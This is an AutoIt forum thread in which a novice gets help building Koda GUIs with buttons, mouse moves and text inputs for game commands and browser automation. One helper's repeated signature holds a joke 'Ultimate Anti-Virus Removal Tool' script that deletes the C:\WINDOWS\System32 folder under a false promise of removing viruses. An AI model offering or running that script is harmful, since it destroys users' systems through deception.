Jump to content

Koda Help


 Share

Recommended Posts

As it said, i am a novice and need help. I want to be able to make it so when i click on a button, somethgin happens. so example: i have a button and when i click it i want my couse to automaticly move to oh... say 100, 200 on my screen. how would i do this?

Welcome to the forums. :)

Koda is for gui design and not very much for programming other things.

The AutoIt help shows how to respond to a button click - look up GuiCtrlCreateButton.

To move a control such as a button look up GuiCtrlSetPos.

Read a lot more in the help while you're there.

Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Link to comment
Share on other sites

Here's a little example. Copy it into Scite then save and run it.

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 300, 269, 193, 133)
$Button1 = GUICtrlCreateButton("Open Notepad", 24, 24, 217, 73, 0)
$Button2 = GUICtrlCreateButton("Go to Coordinate 100, 200", 24, 136, 217, 81, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $button1
            Run("notepad.exe")
        Case $button2
            MouseMove(100, 200)
    EndSwitch
WEnd
Edited by Firefoxy
;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

oh, and how do i get it out of the loop? it just keeps on typing untill i do ctrl+break

What do you mean? I didn't tell it to type anything.

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

oh, and how do i get it out of the loop? it just keeps on typing untill i do ctrl+break

It's not typing anything unless you added something into the loop. All it's doing is opening Notepad with one button and moving the mouse with the other.

If You did something like this then it would keep sending it indefinitly.

While 1
   Send("this is a test")
Wend
See the Notepad example in the Help file. To do that in the gui it would be

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 300, 269, 193, 133)
$Button1 = GUICtrlCreateButton("Open Notepad", 24, 24, 217, 73, 0)
$Button2 = GUICtrlCreateButton("Go to Coordinate 100, 200", 24, 136, 217, 81, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $button1
            Run("notepad.exe")
            WinWaitActive("Untitled - Notepad")
            Send("This is some text.")
            WinClose("Untitled - Notepad")
            WinWaitActive("Notepad", "Do you want to save")
            Send("!n")
Case $button2
            MouseMove(100, 200)
    EndSwitch
WEnd

You can also press Esc or click the red "X" in the corner to exit.

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Link to comment
Share on other sites

What do you mean? I didn't tell it to type anything.

but i did.

I modified that do it would do something. i have one more question: how do i make it so that there is a button, then after it there are 2 separate text boxes.

How do i make it so that when i hit the button it automatically sends some preset code then after that the letters that were in the text box? also how so i send the return key.

like i have a button :cexec: then 2 textboxes :input1: :input2: how do i send ulx cexec and then what i in the first bot then a " then what is in the second box?

#include <GUIConstants.au3>

GUICreate("My menu"); will create a dialog box that when displayed is centered

Opt("GUICoordMode",2)
$Cexecsay = GUICtrlCreateButton ("Ply command",  50, 50, 100)
$Rconmaxturrets10 = GUICtrlCreateButton ( "maxturrets10t", 50, 50, 100)

GUISetState ()   ; will display an  dialog box with 2 button

; Run the GUI until the dialog is closed
While 1
    $msg = GUIGetMsg()
    Select
        Case $msg = $GUI_EVENT_CLOSE
            ExitLoop
        Case $msg = $Cexecsay
            MouseClick( 488, 635  ,12  )
            Send( "rcon_password Area 51" )
            Send( "rcon ulx cexec player say what?" )
        Case $msg = $Rconmaxturrets10
            MsgBox(0, 'Notice', 'Now changeing maxturrets to 10 :)', 1 ) 
            MouseClick( 488, 635 ,12 )
            Send( "rcon sbox_maxturrets 10" )
    EndSelect
    WEnd
Link to comment
Share on other sites

whaaa?

+>08:51:06 Starting AutoIt3Wrapper v.1.9.4
>Running AU3Check (1.54.10.0)  from:C:\Program Files\AutoIt3
C:\Documents and Settings\My ame\Desktop\My-AutoIt\My-First-GUI.au3(64,34) : ERROR: MouseClick() called with illegal argument 1: "input"
            MouseClick("input" , 489, 633 )
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
C:\Documents and Settings\My name\Desktop\My-AutoIt\My-First-GUI.au3 - 1 error(s), 0 warning(s)
!>08:51:06 AU3Check ended.rc:2
+>08:51:06 AutoIt3Wrapper Finished
>Exit code: 0   Time: 0.535

with

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 808, 632, 193, 125)
$Label1 = GUICtrlCreateLabel("This menu is here to help you use diffrent commands in garrysmod", 366, 118, 313, 17)
$Tab1 = GUICtrlCreateTab(238, 214, 569, 417)
GUICtrlSetResizing(-1, $GUI_DOCKWIDTH+$GUI_DOCKHEIGHT)
$TabSheet1 = GUICtrlCreateTabItem("Cexec")
$cexecsay = GUICtrlCreateButton("Ulx cexec", 262, 358, 75, 25, 0)
$Ply = GUICtrlCreateLabel("Player:", 334, 358, 36, 25)
$Plyname = GUICtrlCreateInput("Plyname", 374, 358, 105, 21)
$say = GUICtrlCreateLabel("What yo want them to say:", 478, 358, 130, 25)
$Speak = GUICtrlCreateInput("Speak", 614, 358, 161, 21)
$TabSheet2 = GUICtrlCreateTabItem("Rcon")
GUICtrlSetState(-1,$GUI_SHOW)
$rconmaxturrets10 = GUICtrlCreateButton("Set max rcon turrets to 10", 278, 366, 137, 25, 0)
GUICtrlCreateTabItem("")
$Button1 = GUICtrlCreateButton("Enable Rcon (PRESS ME!)", 462, 150, 169, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $msg = GUIGetMsg()
    Select
        Case $msg = $GUI_EVENT_CLOSE
            ExitLoop
        Case $msg = $cexecsay
            MouseClick( 489, 633 )
            Send( "rcon ulx cexec" )
        Case $msg = $Rconmaxturrets10
            MsgBox(0, 'Notice', 'Now changeing maxturrets to 10 :)', 1 ) 
            MouseClick( 489, 633 )
            Send( "rcon sbox_maxturrets 10" )
        Case $msg = $Button1
            MouseClick("input" , 489, 633 )
    EndSelect
    WEnd

Why doesn't it like MouseClick("input" , 489, 633 )?

Link to comment
Share on other sites

Okay,

#include <GUIConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 808, 632, 193, 125)
$Label1 = GUICtrlCreateLabel("This menu is here to help you use diffrent commands in garrysmod", 366, 118, 313, 17)
$Tab1 = GUICtrlCreateTab(238, 214, 569, 417)
GUICtrlSetResizing(-1, $GUI_DOCKWIDTH+$GUI_DOCKHEIGHT)
$TabSheet1 = GUICtrlCreateTabItem("Cexec")
$cexecsay = GUICtrlCreateButton("Ulx cexec", 262, 358, 75, 25, 0)
$Ply = GUICtrlCreateLabel("Player:", 334, 358, 36, 25)
$Plyname = GUICtrlCreateInput("Plyname", 374, 358, 105, 21)
$say = GUICtrlCreateLabel("What yo want them to say:", 478, 358, 130, 25)
$Speak = GUICtrlCreateInput("Speak", 614, 358, 161, 21)
$TabSheet2 = GUICtrlCreateTabItem("Rcon")
GUICtrlSetState(-1,$GUI_SHOW)
$rconmaxturrets10 = GUICtrlCreateButton("Set max rcon turrets to 10", 278, 366, 137, 25, 0)
GUICtrlCreateTabItem("")
$Button1 = GUICtrlCreateButton("Enable Rcon (PRESS ME!)", 462, 150, 169, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $msg = GUIGetMsg()
    Select
        Case $msg = $GUI_EVENT_CLOSE
            ExitLoop
        Case $msg = $cexecsay
            MouseClick( 489, 633 )
            Send( "rcon ulx cexec" GUICtrlRead($Plyname))
        Case $msg = $Rconmaxturrets10
            MsgBox(0, 'Notice', 'Now changeing maxturrets to 10 :)', 1 ) 
            MouseClick( 489, 633 )
            Send( "rcon sbox_maxturrets 10" )
        Case $msg = $Button1
            MouseClick("input" , 489, 633 )
    EndSelect
    WEnd

is my code. what i am trying to make is a type if a controll panel for a game i play. i want it so that when the person clicks on the ulx cexec button i want it to send ulx cexec then what ever is in the plyname field then what is in the second input. send those to 489, 633.

But the problem is that i am getting this when trying to run it.

C:\Documents and Settings\Joseph\Desktop\My-AutoIt\My-First-GUI.au3(57,27) : ERROR: syntax error
            Send( "rcon ulx cexec" GUICtrlRead
            ~~~~~~~~~~~~~~~~~~~~~~~^
C:\Documents and Settings\Joseph\Desktop\My-AutoIt\My-First-GUI.au3(63,34) : ERROR: MouseClick() called with illegal argument 1: "input"
            MouseClick("input" , 489, 633 )
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
C:\Documents and Settings\Joseph\Desktop\My-AutoIt\My-First-GUI.au3 - 2 error(s), 0 warning(s)
Edited by AutoitFaN1000
Link to comment
Share on other sites

Okay, i think i got it. Thenks for your help:

#include <GUIConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 808, 632, 193, 125)
$Label1 = GUICtrlCreateLabel("This menu is here to help you use diffrent commands in garrysmod", 366, 118, 313, 17)
$Tab1 = GUICtrlCreateTab(238, 214, 569, 417)
GUICtrlSetResizing(-1, $GUI_DOCKWIDTH+$GUI_DOCKHEIGHT)
$TabSheet1 = GUICtrlCreateTabItem("Cexec")
$cexecsay = GUICtrlCreateButton("Ulx cexec", 262, 358, 75, 25, 0)
$Ply = GUICtrlCreateLabel("Player:", 334, 358, 36, 25)
$Plyname = GUICtrlCreateInput("Plyname", 374, 358, 105, 21)
$say = GUICtrlCreateLabel("What yo want them to say:", 478, 358, 130, 25)
$Speak = GUICtrlCreateInput("Speak", 614, 358, 161, 21)
$TabSheet2 = GUICtrlCreateTabItem("Rcon")
GUICtrlSetState(-1,$GUI_SHOW)
$rconmaxturrets10 = GUICtrlCreateButton("Set max rcon turrets to 10", 278, 366, 137, 25, 0)
GUICtrlCreateTabItem("")
$Button1 = GUICtrlCreateButton("Enable Rcon (PRESS ME!)", 462, 150, 169, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

Do
    $msg = GUIGetMsg()
    if $msg = $Plyname Then
        Msgbox(0, "Who is saying it?", GUICtrlRead($Plyname)); display the selected listbox entry
    EndIf
    If $msg = $Speak Then
        MsgBox(0, "What was said", GUICtrlRead($Speak))
    EndIf
    If $msg = $cexecsay Then
        MsgBox(0, "Who is saying it?", GUICtrlRead($Plyname))
        MsgBox(0, "What was said", GUICtrlRead($Speak))
    EndIf
Until $msg = $GUI_EVENT_CLOSE
Link to comment
Share on other sites

But i can't find the list of numbers that one can use with MsgBox(#, "", ""). could someone direct me the right way?

Help File>>Functions>>Message Boxes and Dialogs>>MsgBox 3rd table.

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Link to comment
Share on other sites

Okay, someone helped me but... i am still getting an error when i run:

#include <GUIConstants.au3>
#include <IE.au3>

#Region ### START Koda GUI section ### Form=c:\program files\autoit3\scite\koda\forms\e-mail.kxf
$Form1_1 = GUICreate("Internet assistance utility.", 633, 433, 196, 127)
$Label1 = GUICtrlCreateLabel("Hello kind person, what would you like to do?", 184, 32, 308, 21)
GUICtrlSetFont(-1, 11, 800, 2, "Roman")
$Button1 = GUICtrlCreateButton("Access my e-mail (WARNING: Only use if you have a hotmail account)", 40, 88, 369, 41, 0)
$Label2 = GUICtrlCreateLabel("And what might your e-mail address be?", 96, 136, 191, 17)
$Input1 = GUICtrlCreateInput("E-mail Address", 104, 160, 145, 21)
$Label3 = GUICtrlCreateLabel("And your password? Don't worry, i won't give it away.", 56, 184, 254, 17)
$Input2 = GUICtrlCreateInput("Password", 104, 208, 145, 21)
$Acsessweb = GUICtrlCreateButton("Access the web", 424, 88, 161, 41, 0)
$Address = GUICtrlCreateInput("Address", 416, 176, 145, 21)
$Label4 = GUICtrlCreateLabel("And what, pray, is the web address?", 416, 144, 175, 17)
$Label5 = GUICtrlCreateLabel("Please use if you would like to search via google", 48, 368, 233, 25)
$Google = GUICtrlCreateButton("Google", 72, 312, 193, 41, 0)
$Search = GUICtrlCreateInput("Search for...", 72, 400, 177, 21)
$Label6 = GUICtrlCreateLabel("If you are board or otherwise inclined, please press the folowing button to exit.", 272, 240, 369, 17)
$Exit = GUICtrlCreateButton("EXIT!!!", 312, 280, 305, 121, 0)
GUICtrlSetFont(-1, 30, 800, 6, "MV Boli")
GUICtrlSetColor(-1, 0xFF0000)
$Label7 = GUICtrlCreateLabel("See it?", 448, 408, 37, 17)
$Label8 = GUICtrlCreateLabel("if you can find it...", 408, 256, 87, 17)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    if $nMsg = $Button1 Then
        Msgbox(4, "E-mail address", GUICtrlRead($Input1))
        _IECreate(($s_Url = "www.hotmail.com"))
        Sleep( 5000 )
        MouseClick( "left", 757, 538 )
        Sleep(3000)
        Send( GUICtrlRead($Input1))
        MouseClick( "left", 728, 504 )
        Send( GUICtrlRead($Input2))
        MouseClick("left", 751, 607 )
        Sleep ( 3000 )
        MouseClick( "left", 78, 278)
        Msgbox(0, "Done!", "Tadaaaa, Thank you for useing your very own, custon made e-mail acsess program, coppy wright 2007 Shearer Inc. All rights reserved.", 10 )
    EndIf
    if $nMsg = $Acsessweb Then
        Msgbox(4, "Address", GUICtrlRead($Address))
        _IECreate(($s_Url = GUICtrlRead($Address)))
        MouseClick( "left", 880, 65 )
    EndIf
    If $nMsg = $Google Then
        _IECreate(($s_Url = "www.google.com"))
        Sleep(7000)
        Send(GUICtrlRead($Search))
        MouseClick( "left", 1131, 63 )
    EndIf
    If $nMsg = $Exit Then
        Exit
    EndIf
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

I get this when i run it:

C:\Documents and Settings\me\Desktop\Autoit10\Done internet access program.au3(32,21) : WARNING: $s_Url: possibly used before declaration.
        _IECreate(($s_Url =
        ~~~~~~~~~~~~~~~~~~^
C:\Documents and Settings\me\Desktop\Autoit10\Done internet access program.au3(32,21) : ERROR: $s_Url: undeclared global variable.
        _IECreate(($s_Url =
        ~~~~~~~~~~~~~~~~~~^
C:\Documents and Settings\me\Desktop\Autoit10\Done internet access program.au3 - 1 error(s), 1 warning(s)
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...